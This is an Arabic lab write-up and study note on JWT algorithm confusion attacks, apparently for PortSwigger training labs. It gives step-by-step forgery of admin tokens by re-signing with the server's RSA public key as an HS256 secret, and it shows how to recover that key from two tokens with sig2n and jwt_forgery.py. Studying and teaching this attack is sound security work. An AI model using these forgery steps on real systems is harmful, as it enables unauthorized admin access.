# سابعاً: هنا يبدأ الهجوم الحقيقي

نحن كمهاجمين عندنا:

```
public key
```

وده طبيعي لأنه public.

طيب HS256 محتاج إيه؟

```
secret string
```

هل ينفع public key يبقى string؟  
ايوه 😈

يبقى نستخدم:

```
public key = secret
```

---

# ثامناً: خطوات الهجوم نظرياً

## الخطوة 1️⃣

نأخذ JWT أصلي من الموقع.

الهيدر يكون:

```
"alg": "RS256"
```

---

## الخطوة 2️⃣

نغيّر الهيدر إلى:

```
"alg": "HS256"
```

نحن كده بنضحك على السيرفر ونقوله:

> التوكن ده معمول بـ HMAC مش RSA.

---

## الخطوة 3️⃣

نعدل الـ payload زي ما نحب 😈

مثلاً:

```
"isAdmin": true
```

---

## الخطوة 4️⃣ أهم خطوة 🔥

نوقّع التوكن باستخدام:

```
HS256secret = PUBLIC KEY
```

يعني نستخدم المفتاح العام كأنه باسورد.

---

## الخطوة 5️⃣

السيرفر يستقبل التوكن ويعمل verify:

يشوف:

```
alg = HS256
```

فيقول:

```
تمام هستخدم KEY كـ secret
```

و KEY = public key 😭

فيحسب التوقيع → يطلع صحيح ✔️

ويقول:

```
التوكن صحيح!
```

رغم إنك مزوره بالكامل 🤯

---

# ليه الهجوم ينجح؟

السيرفر كان مفروض يعمل:

```
لو alg != RS256 → ارفض
```

لكن بدلاً من ذلك:

```
وثق في alg من التوكن
```

وده user input.

دي أكبر غلطة.

---

# تلخيص سريع جداً

|السيرفر فاكر|اللي حصل فعلاً|
|---|---|
|verify RSA|verify HMAC|
|public key للتحقق|public key كـ secret|
|توكن حقيقي|توكن مزور|

---

# جملة تحفظها ❤️

**Algorithm Confusion = استخدام Public Key كأنه Secret Key**

لو فهمت الجملة دي يبقى فهمت الهجوم كله.

How do algorithm confusion vulnerabilities arise ?

[^7]

[^7]: # الفكرة الأساسية قبل التنفيذ

السيرفر:

- بيستخدم **RS256**
- عنده **Public Key** متاح للناس
- المفروض يستخدمه فقط للتحقق

إحنا:

- هنستخدم الـ Public Key نفسه كأنه Secret
- ونوقع التوكن بـ **HS256**

وده يحصل بسبب غلطة في كود التحقق.

---

# ليه الثغرة بتحصل أصلاً؟

المكتبات بتوفر function واحدة اسمها verify()

شوف الكود الوهمي ده 👇

```
function verify(token, secretOrPublicKey){    algorithm = token.getAlgHeader();    if(algorithm == "RS256"){        use key as PUBLIC KEY    }    else if(algorithm == "HS256"){        use key as SECRET    }}
```

المبرمج عمل الغلطة القاتلة:

```
verify(token, publicKey)
```

هو فاكر إن التوكن هيبقى RS256 بس 😅

لكن المهاجم يقدر يغير alg = HS256.

فالمكتبة تقول:

> آه HS256؟ يبقى المفتاح ده secret.

وبكده استخدمنا الـ public key كـ secret.

---

# دلوقتي ندخل في تنفيذ الهجوم نفسه

الهجوم له 4 مراحل رئيسية.

---

# STEP 1 — الحصول على الـ Public Key

السيرفر غالباً بيعرضه هنا:

```
/jwks.json/.well-known/jwks.json
```

بيكون بالشكل ده:

```
{  "kty": "RSA",  "e": "AQAB",  "n": "...."}
```

ده اسمه **JWK**.

وده Public key بصيغة JSON.

ممتاز 👍

---

# STEP 2 — تحويل الـ Public Key للصيغة المناسبة

دي خطوة ناس كتير بتتلخبط فيها.

السيرفر لما يتحقق من التوقيع بيستخدم المفتاح من:

- File system
- أو Database

وغالباً بيكون بصيغة:

```
PEM format
```

زي كده:

```
-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...-----END PUBLIC KEY-----
```

⚠️ لازم المفتاح اللي هنستخدمه يكون **نفسه بالظبط byte by byte**.

ليه؟  
لأن HS256 بيحسب HMAC على كل byte.

لو حرف واحد مختلف → التوقيع يفشل.

---

## تحويل JWK → PEM في Burp

الفكرة ببساطة:

1️⃣ تحط JWK  
2️⃣ Burp يطلعلك PEM  
3️⃣ تعمل Base64 للـ PEM  
4️⃣ تستخدمه كـ secret

ليه Base64؟  
لأن symmetric keys في Burp بتتخزن Base64.

---

# STEP 3 — تعديل التوكن

نعدل التوكن زي ما نحب 😈

مثلاً:

### header القديم

```
{  "alg": "RS256"}
```

### نغيره إلى

```
{  "alg": "HS256"}
```

دي أهم خطوة في الهجوم كله.

---

### نعدل الـ payload

مثلاً:

```
{  "sub": "administrator",  "isAdmin": true}
```

دلوقتي التوكن مزور بالكامل.

بس ناقص التوقيع.

---

# STEP 4 — توقيع التوكن باستخدام Public Key 😈

نوقع التوكن باستخدام:

```
Algorithm = HS256Secret = RSA PUBLIC KEY
```

دي اللحظة السحرية في الهجوم ✨

---

# ماذا يحدث داخل السيرفر الآن؟

السيرفر يستقبل التوكن.

يشوف:

```
alg = HS256
```

فيقول:

> تمام هنستخدم المفتاح للتحقق باستخدام HMAC.

ويستخدم:

```
publicKey
```

لحساب HMAC.

لكن إحنا عملنا نفس العملية بالضبط 😎

فتكون النتيجة:

```
Signature Valid ✔️
```

رغم إننا مزورين التوكن بالكامل.

---

# لماذا لازم يكون المفتاح identical؟

لأن HMAC يعمل على:

```
bytes
```

مش على النص.

يعني حتى:

- newline
- spaces
- encoding

كل ده لازم يكون مطابق.

عشان كده أحياناً تحتاج تجرب أكثر من format.

وده سبب إن اللاب ساعات يفشل أول مرة.

---

# ملخص التنفيذ السريع جداً

1️⃣ خذ Public Key  
2️⃣ حوله PEM  
3️⃣ اعمل Base64 للـ PEM  
4️⃣ غير alg → HS256  
5️⃣ عدل payload  
6️⃣ Sign باستخدام public key كـ secret  
7️⃣ Send → Admin access 🎉

Lab: Algorithm Confusion Attack (RS256 → HS256) :

الفكرة الأساسية

السيرفر بيستخدم:

"alg":"RS256"

يعني:

  • يوقّع بالـ private key
  • ويتحقق بالـ public key

لكن بسبب Vulnerability:
لو غيرت:

"alg":"HS256"

السيرفر هيستخدم الـ public key كأنه HMAC secret.

فإحنا نستغل ده ونوقّع التوكن بالـ public key.


خطوات الحل

1) هات الـ Public Key

ادخل على:

/jwks.json

هتلاقي:

{  "keys":[    {      "kty":"RSA",      "e":"AQAB",      "n":"..."    }  ]}

انسخ الـ JWK object.


2) اعمل RSA Key من الـ JWK

في Burp:

JWT Editor Keys→ New RSA Key

اختار:

JWK

وحط الـ JWK.


3) استخرج الـ PEM Public Key

Right Click على الـ RSA Key:

Copy Public Key as PEM

هيطلع:

-----BEGIN PUBLIC KEY-----...-----END PUBLIC KEY-----

4) اعمل Base64 Encode للـ PEM

روح:

Decoder

واعمل:

Base64 Encode

5) اعمل Symmetric Key

روح:

JWT Editor Keys→ New Symmetric Key→ Generate

⚠️ ملاحظة مهمة جدًا

بعد ما تعمل الـ Symmetric Key لازم تعدل:

"k"

وتحط فيه:

Base64 encoded PEM public key

يعني تستبدل القيمة القديمة بالكامل.

مثال:

{  "kty": "oct",  "kid": "pem_public",  "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0K..."}

لو ما عملتش الخطوة دي:

  • الـ signature هيبقى غلط
  • والسيرفر هيرجع Unauthorized

6) عدل الـ JWT

غير:

"alg":"RS256"

إلى:

"alg":"HS256"

Payload

غير:

"sub":"wiener"

إلى:

"sub":"administrator"

7) اعمل Sign

اضغط:

Sign

واختار الـ Symmetric Key.


8) مهم جدًا

اختار:

Don't modify header

9) ابعت الريكوست

لو كل حاجة صح:

  • هيديك Admin Access
  • وتكمل اللاب عادي.

سبب نجاح الـ Attack

السيرفر:

  • وثق في قيمة:
"alg":"HS256"

فبدل ما يتحقق بـ RSA:

  • استخدم الـ public key كـ HMAC secret.

وإنت استخدمت نفس الـ public key للتوقيع.

فالـ signature بقى valid.


Deriving Public Keys from Existing Tokens :

[^8]

[^8]: الفكرة هنا:
أحيانًا السيرفر مش بيعرض الـ public key في:

```
/jwks.json
```

فساعتها بنستخرجه من JWTs موجودة بالفعل.

---

# الفكرة الرياضية ببساطة

لو عندك:

- توكن 1
- توكن 2

ومتوقعين بـ:

```
RS256
```

فالتوقيع RSA بيحتوي معلومات رياضية تقدر منها تستنتج:

```
n
```

اللي هو جزء أساسي من الـ RSA public key.

---

# الـ RSA Public Key بيتكون من ايه؟

غالبًا:

```
{  "kty":"RSA",  "e":"AQAB",  "n":"..."}
```

أهم قيمة هنا:

```
n
```

---

# الأداة المستخدمة

اسمها:

```
sig2n
```

أو:

```
jwt_forgery.py
```

---

# تشغيل الأداة

بتجيب:

- JWT 1
- JWT 2

ثم:

```
docker run --rm -it portswigger/sig2n <token1> <token2>
```

---

# الأداة بتعمل ايه؟

بتطلعلك:

- احتمالات مختلفة للـ public key
- بصيغة PEM
- وكمان JWTs مزورة جاهزة

---

# ليه احتمالات متعددة؟

لأن الرياضيات بتطلع:

```
عدة قيم محتملة للـ n
```

لكن:

- واحدة بس هي الصح
- والباقي غلط

---

# تعرف الصح ازاي؟

الأداة بتديك:

```
forged JWTs
```

جاهزين.

كل اللي عليك:

- تبعت كل توكن في Repeater
- تشوف مين المقبول

---

# لو السيرفر قبله؟

يبقى:

- الـ public key المرتبط بالتوكن ده هو الصح

---

# بعد كده تعمل ايه؟

تستخدم الـ public key ده في:

```
Algorithm Confusion Attack
```

يعني:

- تحول RS256 → HS256
- وتوقّع بالـ public key

---

# الفكرة العملية كاملة

## عندك:

### Token 1

```
eyJhbGciOiJSUzI1NiJ9....
```

### Token 2

```
eyJhbGciOiJSUzI1NiJ9....
```

---

# تشغل:

```
docker run --rm -it portswigger/sig2n token1 token2
```

---

# يطلعلك:

```
Candidate key #1Candidate key #2Candidate key #3
```

ومع كل واحد:

- PEM
- forged JWT

---

# تجرب الـ forged JWTs

في Burp Repeater.

---

# واحد بس هيشتغل

وده معناه:

```
هذا هو الـ public key الحقيقي
```

---

# بعدين

تعمل:

- New Symmetric Key
- تحط الـ PEM Base64 في:

```
"k"
```

ثم:

- alg → HS256
- Sign
- Done ✅

---

# ليه الهجوم ده خطير؟

لأن حتى لو السيرفر:

- مخبي الـ public key

تقدر أحيانًا:

- تستخرجه من التوقيعات نفسها.

وده يخليك تعمل:

```
Full JWT Forgery
```

شرح أدوات استخراج الـ Public Key وعمل Algorithm Confusion Attack :

^9

1. تثبيت Docker
2. تشغيل sig2n
3. استخدام jwt_forgery.py
4. فهم الناتج
5. تنفيذ الـ Attack كامل

---

# أولاً: Tool اسمها sig2n

دي أداة من PortSwigger.

وظيفتها:

- تاخد 2 JWT
- تستخرج احتمالات الـ RSA Public Key
- تولد JWTs مزورة جاهزة

---

# ليه محتاجينها؟

لأن أحيانًا:

```
/jwks.json
```

مش موجود.

فمفيش public key واضح.

فساعتها نستخرجه من:

- توقيع JWT 1
- توقيع JWT 2

---

# تثبيت Docker

## Windows

نزل:  
[Docker Desktop](https://www.docker.com/products/docker-desktop/?utm_source=chatgpt.com)

---

## بعد التثبيت

افتح:

```
CMD
```

وجرب:

```
docker --version
```

لو ظهر:

```
Docker version ...
```

يبقى تمام.

---

# استخدام sig2n

## الصيغة

```
docker run --rm -it portswigger/sig2n <token1> <token2>
```

---

# مثال

```
docker run --rm -it portswigger/sig2n eyJhbGciOiJSUzI1NiJ9.... eyJhbGciOiJSUzI1NiJ9....
```

---

# الأداة بتعمل ايه؟

بتحسب:

```
RSA modulus (n)
```

من التوقيعات.

---

# الناتج

هيطلعلك:

```
Candidate 1Candidate 2Candidate 3
```

---

# كل Candidate يحتوي على:

## 1) PEM Public Key

مثلاً:

```
-----BEGIN PUBLIC KEY-----MIIBIjANBg...-----END PUBLIC KEY-----
```

---

## 2) Forged JWT

توكن مزور جاهز.

---

# تجرب التوكنات

في:

```
Burp Repeater
```

---

# واحد فقط هيشتغل

وده معناه:

```
هذا هو الـ Public Key الصحيح
```

---

# بعد ما تعرف الـ Key الصح

تبدأ تعمل:

```
Algorithm Confusion Attack
```

---

# Tool الثانية: jwt_forgery.py

دي سكربت Python.

نفس الفكرة تقريبًا.

---

# تحميل الأداة

من:  
[rsa_sign2n GitHub](https://github.com/silentsignal/rsa_sign2n?utm_source=chatgpt.com)

---

# تثبيت

## Linux / Kali

```
git clone https://github.com/silentsignal/rsa_sign2n.git
```

---

## ادخل الفولدر

```
cd rsa_sign2n
```

---

# تثبيت dependencies

```
pip install -r requirements.txt
```

---

# تشغيل الأداة

```
python jwt_forgery.py <token1> <token2>
```

---

# الناتج

- احتمالات public keys
- forged JWTs

زي sig2n بالظبط.

---

# الفرق بين sig2n و jwt_forgery.py

|Tool|أسهل|يحتاج تثبيت|
|---|---|---|
|sig2n|✅|Docker فقط|
|jwt_forgery.py|أصعب شوية|Python + dependencies|

---

# تنفيذ الـ Attack بعد استخراج الـ Public Key

---

# 1) خد الـ PEM

مثلاً:

```
-----BEGIN PUBLIC KEY-----...-----END PUBLIC KEY-----
```

---

# 2) Base64 Encode

في Burp Decoder:

```
Encode as Base64
```

---

# 3) اعمل Symmetric Key

في:

```
JWT Editor Keys→ New Symmetric Key
```

---

# 4) أهم خطوة ⚠️

استبدل:

```
"k"
```

بالـ:

```
Base64 encoded PEM
```

---

# مثال

```
{  "kty":"oct",  "kid":"pem_public",  "k":"LS0tLS1CRUdJTiBQVUJMSUMgS0VZ..."}
```

---

# 5) عدل الـ JWT

## Header

```
{  "alg":"HS256",  "typ":"JWT"}
```

---

# 6) عدل الـ Payload

مثلاً:

```
{  "sub":"administrator"}
```

---

# 7) Sign

اضغط:

```
Sign
```

واختار الـ Symmetric Key.

---

# 8) اختار

```
Don't modify header
```

---

# 9) Send

لو Vulnerable:

- هتاخد admin access ✅

---

# ملخص الفكرة كلها

## السيرفر الطبيعي

```
RS256
```

- Private key للتوقيع
- Public key للتحقق

---

# الـ Bug

السيرفر يثق في:

```
"alg":"HS256"
```

---

# النتيجة

يستخدم:

```
Public Key = HMAC Secret
```

---

# وإنت تستغل ده

- تجيب الـ public key
- توقّع بيه HS256
- السيرفر يصدق التوكن 😈

JWT Algorithm Confusion via Derived Public Key Lab :

Lab Idea

السيرفر يستخدم RS256 للتحقق من التوقيع.
لكن فيه ثغرة Algorithm Confusion تسمح لنا نغيّر الخوارزمية إلى HS256 ونوقّع التوكن باستخدام الـ Public Key كـ HMAC Secret.

في اللاب ده الـ Public Key مش متاح، فبنستخرجه من JWTs موجودة بالفعل.


🎯 Goal

الحصول على Admin access عن طريق:

  • استخراج RSA Public Key من توكنين
  • تحويل الهجوم إلى HS256
  • توقيع توكن مزور

⚙️ Tools Used

  • Docker
  • sig2n
  • Burp Suite (JWT Editor + Repeater)
  • Burp Decoder

🪜 Step 1 — استخراج JWTs

من التطبيق خذ 2 JWT مختلفة (بعد تسجيل الدخول مرتين مثلاً).

token1token2

🐳 Step 2 — تثبيت Docker

تأكد إن Docker شغال:

docker --version

🔑 Step 3 — استخراج الـ Public Key باستخدام sig2n

شغّل الأمر:

docker run --rm -it portswigger/sig2n <token1> <token2>

الناتج سيكون:

لكل Candidate:

  • Public key بصيغة PEM
  • Forged JWT جاهزة

🧪 Step 4 — تحديد الـ Key الصحيح

جرّب كل forged JWT في Burp Repeater.

واحد فقط سيعمل بدون Unauthorized.

👉 هذا هو Public Key الصحيح.

انسخ الـ PEM key.


🔄 Step 5 — تحويل الـ Public Key إلى Symmetric Secret

افتح Burp → Decoder

الصق الـ PEM بالكامل:

-----BEGIN PUBLIC KEY-----...-----END PUBLIC KEY-----

ثم:

Encode as → Base64

انسخ الناتج.


⚠️ أهم ملاحظة في اللاب

بعد إنشاء Symmetric Key في Burp JWT Editor
لازم تعدّل قيمة:

"k"

وتضع فيها:

Base64 encoded PEM

بدون الخطوة دي التوكن هيرجع Unauthorized ❗


🔐 Step 6 — إنشاء Symmetric Key في Burp

JWT Editor → Keys → New Symmetric Key

عدل المفتاح ليصبح:

{  "kty": "oct",  "kid": "pem_public",  "k": "BASE64_ENCODED_PEM_HERE"}

✏️ Step 7 — تعديل التوكن

Header

غيّر الخوارزمية:

{  "alg": "HS256",  "typ": "JWT"}

Payload

حوّل المستخدم إلى admin:

{  "sub": "administrator"}

✍️ Step 8 — Sign التوكن

في JWT Editor:

  • اضغط Sign
  • اختر Symmetric Key
  • اختر: Don't modify header

🚀 Step 9 — إرسال التوكن

أرسل الطلب بالتوكن الجديد.

إذا الثغرة موجودة:

Admin Access Granted ✅

🧩 Why This Works

الطبيعي:

RS256:

  • السيرفر يوقّع بالـ Private Key
  • يتحقق بالـ Public Key

المشكلة:

السيرفر يثق في قيمة:

alg

فعند تغييرها إلى HS256:

  • السيرفر يستخدم Public Key كأنه HMAC Secret
  • نقوم نحن بالتوقيع بنفس المفتاح
  • السيرفر يصدق التوكن

🏁 Final Summary

  1. استخرج JWTs
  2. استخدم sig2n لاستخراج Public Key
  3. جرّب forged tokens لتحديد المفتاح الصحيح
  4. Base64 encode للـ PEM
  5. أنشئ Symmetric Key وعدّل قيمة k
  6. غيّر alg إلى HS256
  7. وقّع التوكن وأرسل الطلب